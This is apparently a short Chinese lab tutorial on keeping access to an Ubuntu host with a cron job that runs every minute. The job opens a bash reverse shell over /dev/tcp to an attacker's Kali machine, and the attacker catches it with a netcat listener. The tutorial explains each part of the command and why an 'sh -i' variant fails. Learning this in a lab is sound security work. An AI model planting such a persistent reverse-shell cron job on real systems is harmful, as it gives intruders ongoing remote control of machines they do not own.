ubuntu计划任务反弹

发布于:2024-07-11 ⋅ 阅读:(14) ⋅ 点赞:(0)

目录

实验环境

实验步骤

目标主机构造任务计划

构造语句

 语句解释

kali开启监听

监听成功

问题

原因


实验环境

攻击者

操作系统:kali

IP:192.168.244.141

目标主机

操作系统:ubuntu

IP:192.168.244.151

实验步骤

目标主机构造任务计划

构造语句

* * * * * /bin/bash -c 'bash -i >& /dev/tcp/{ip}/{port} 0>&1'

 语句解释

* * * * *:这是 Cron 的时间表达式,表示这个命令将每分钟执行一次。具体含义是分别对应分钟、小时、天、月、星期几,这里都是 *,表示每个可能的值,即每分钟执行一次。

/bin/bash -c 'sh -i >& /dev/tcp/{ip}/{port} 0>&1':这是要在 Cron 任务中执行的命令。

/bin/bash -c:这个部分指定要执行的命令是用 Bash 解释执行。

'sh -i >& /dev/tcp/{ip}/{port} 0>&1':这是 Bash 命令本身,由单引号包围以确保整个命令被视为一个参数传递给 -c 选项。

0>&1:将标准输入重定向到标准输出,确保输入输出的正常运行

>& /dev/tcp/{ip}/{port}

/dev/tcp/{ip}/{port} 是 Bash 的特殊构造,用于在 Bash 中通过 TCP 连接实现网络通信。/dev/tcp 是一个虚拟的目录,Bash 会将其解释为通过 TCP 连接进行数据传输。{ip}{port} 分别应该替换为实际的目标 IP 地址和端口号。

>& 表示将标准输出和标准错误重定向到指定位置。

sh -i:启动一个交互式的 Shell,这里使用 sh 是因为在某些系统上,sh 可能是 bash 的符号链接。

kali开启监听

nc:是 netcat 命令的缩写,是一个网络工具,可以用来读取和写入网络连接中的数据。

-l:表示 netcat 进入监听模式,即等待来自客户端的连接请求。

-p:后面接端口号,表示要监听的端口号。例如,nc -lp 1234 就是在本地监听 1234 端口

监听成功

问题

当反弹语句为中启动交互shell时是sh -i这个如下列代码,监听会失败的

* * * * * /bin/bash -c 'sh -i >& /dev/tcp/{ip}/{port} 0>&1'

原因

在某些操作系统中,sh可能被符号链接到bash,这意味着虽然你使用的是sh命令,实际上执行的是bash解释器。sh通常是指shell的默认符号链接,它可以指向系统中安装的任何shell(如bashdash等)。所以再ubuntu使用sh反弹shell时没有成功,但是使用bash反弹shell成功了。